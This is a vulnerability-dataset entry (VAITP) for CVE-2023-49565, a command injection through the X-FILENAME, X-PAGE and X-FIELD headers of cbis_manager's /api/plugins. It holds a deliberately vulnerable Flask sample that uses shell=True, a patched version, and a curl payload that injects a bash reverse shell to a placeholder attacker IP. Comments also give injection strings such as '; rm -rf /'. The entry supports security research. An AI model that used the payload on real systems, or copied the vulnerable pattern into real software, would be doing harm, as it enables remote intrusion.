VAITP Dataset

← Back to the dataset

CVE-2023-49565

Command injection in cbis_manager /api/plugins via unsanitized HTTP headers.

  • CVSS 8.4
  • CWE-77
  • Input Validation and Sanitization
  • Remote

The cbis_manager Podman container is vulnerable to remote command execution via the /api/plugins endpoint. Improper sanitization of the HTTP Headers X-FILENAME, X-PAGE, and X-FIELD allows for command injection. These headers are directly utilized within the subprocess.Popen Python function without adequate validation, enabling a remote attacker to execute arbitrary commands on the underlying system by crafting malicious header values within an HTTP request to the affected endpoint. The web service executes with root privileges within the container environment, the demonstrated remote code execution permits an attacker to acquire elevated privileges for the command execution. Restricting access to the management network with an external firewall can partially mitigate this risk.

CVSS base score
8.4
Published
2025-09-18
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
cbis_manager

Solution

Upgrade to a version of the cbis_manager container where the X-FILENAME, X-PAGE, and X-FIELD headers are sanitized to prevent command injection.

Vulnerable code sample

from flask import Flask, request, jsonify
import subprocess

app = Flask(__name__)

@app.route('/api/plugins', methods=['GET'])
def get_plugin_data():
    """Vulnerable function that demonstrates the security issue."""
    # VULNERABLE: This code is susceptible to command injection
    """
    Vulnerable endpoint that processes plugin data based on headers.
    This function is vulnerable to command injection via HTTP headers.
    """
    filename = request.headers.get('X-FILENAME')
    page = request.headers.get('X-PAGE')
    field = request.headers.get('X-FIELD')

    if not all([filename, page, field]):
        return jsonify({"error": "Missing required headers: X-FILENAME, X-PAGE, and X-FIELD"}), 400

    # VULNERABILITY: User-controlled input from headers is used to construct a shell command.
    # No sanitization or validation is performed on the 'filename', 'page', or 'field' variables.
    # An attacker can inject arbitrary commands by crafting malicious header values.
    # For example, setting X-FILENAME to "nonexistent; id" would execute the 'id' command.
    command_string = f"/usr/bin/plugin_tool --file='{filename}' --page='{page}' --field='{field}'"

    try:
        # VULNERABILITY: The constructed command string is executed with shell=True.
        # This allows the shell to interpret metacharacters (e.g., ;, &&, ||, ``, $())
        # from the unsanitized header values, leading to remote command execution.
        process = subprocess.Popen(
            command_string,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        stdout, stderr = process.communicate()

        if process.returncode == 0:
            return jsonify({"status": "success", "data": stdout.strip()})
        else:
            return jsonify({"status": "error", "message": stderr.strip()}), 500

    except Exception as e:
        return jsonify({"status": "error", "message": str(e)}), 500

if __name__ == '__main__':
    # The service is exposed to the network, making the vulnerability remotely exploitable.
    # The CVE description notes that the service runs with root privileges inside the container.
    app.run(host='0.0.0.0', port=8080)

Patched code sample

import subprocess
import re
import os

def safe_plugin_handler(headers):
    """
    This function represents a patched version of the code vulnerable to
    CVE-2023-49565. It demonstrates how to safely handle HTTP header inputs
    before using them in a subprocess call.
    """
    raw_filename = headers.get('X-FILENAME')
    raw_page = headers.get('X-PAGE')
    raw_field = headers.get('X-FIELD')

    # FIX PART 1: Input Sanitization and Validation
    # The vulnerability description mentions "improper sanitization". The fix
    # is to strictly validate inputs against an allowlist of expected characters
    # and formats, rejecting any unexpected values.

    # Validate filename: allow only alphanumeric chars, underscores, hyphens, and dots.
    if not raw_filename or not re.match(r'^[a-zA-Z0-9_.-]+$', raw_filename):
        # In a real app, this would return an HTTP 400 Bad Request error.
        raise ValueError("Invalid characters in X-FILENAME header")

    # Prevent directory traversal attacks.
    if '..' in raw_filename or os.path.isabs(raw_filename):
        raise ValueError("Directory traversal attempt in X-FILENAME header")

    # Validate page number: ensure it is strictly a digit string.
    if not raw_page or not raw_page.isdigit():
        raise ValueError("Non-numeric value in X-PAGE header")

    # Validate field: ensure it is strictly alphanumeric.
    if not raw_field or not raw_field.isalnum():
        raise ValueError("Invalid characters in X-FIELD header")

    # At this point, the inputs have been validated.
    filename = raw_filename
    page = raw_page
    field = raw_field

    # FIX PART 2: Safe Subprocess Execution
    # The vulnerability was caused by using user input directly in a command
    # string with `shell=True`. The fix is to pass the command and its arguments
    # as a list (an array of strings) to `subprocess.Popen` and ensure `shell=True`
    # is not used. This treats each input as a single, literal argument,
    # preventing the shell from interpreting metacharacters like ';', '|', or '$()'.
    command = [
        "/usr/bin/some_plugin_tool",
        "--file", filename,
        "--page", page,
        "--field", field
    ]

    # Execute the command. Because `command` is a list and `shell=True` is
    # omitted (defaults to False), the inputs are passed safely to the
    # executable without shell interpretation.
    # An malicious X-FILENAME like "file.txt; rm -rf /" would be treated
    # as a single, literal filename, not as a command to be executed.
    process = subprocess.Popen(
        command,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )

    stdout, stderr = process.communicate()

    if process.returncode != 0:
        # Handle errors from the subprocess, e.g., by logging stderr
        print(f"Subprocess failed: {stderr}")
        return None

    return stdout

# # Example of how this safe function would be used:
# # An attacker sends a malicious request
# malicious_headers = {
#     'X-FILENAME': 'my_file.log; reboot',
#     'X-PAGE': '1',
#     'X-FIELD': 'data'
# }
#
# try:
#     # The function will raise a ValueError due to the ';' in the filename
#     safe_plugin_handler(malicious_headers)
# except ValueError as e:
#     print(f"Rejected malicious input: {e}")
#
# # A valid request
# valid_headers = {
#     'X-FILENAME': 'report_data-v2.csv',
#     'X-PAGE': '123',
#     'X-FIELD': 'customerName'
# }
#
# try:
#     # This will safely execute:
#     # /usr/bin/some_plugin_tool --file report_data-v2.csv --page 123 --field customerName
#     result = safe_plugin_handler(valid_headers)
#     if result:
#         print(f"Subprocess executed successfully. Output: {result}")
# except ValueError as e:
#     print(f"Execution failed: {e}")

Payload

curl -X POST http://<TARGET_IP>:<PORT>/api/plugins -H "X-FILENAME: ';/bin/bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1\"'"

Cite this entry

@misc{vaitp:cve202349565,
  title        = {{Command injection in cbis_manager /api/plugins via unsanitized HTTP headers.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2023-49565},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2023-49565/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::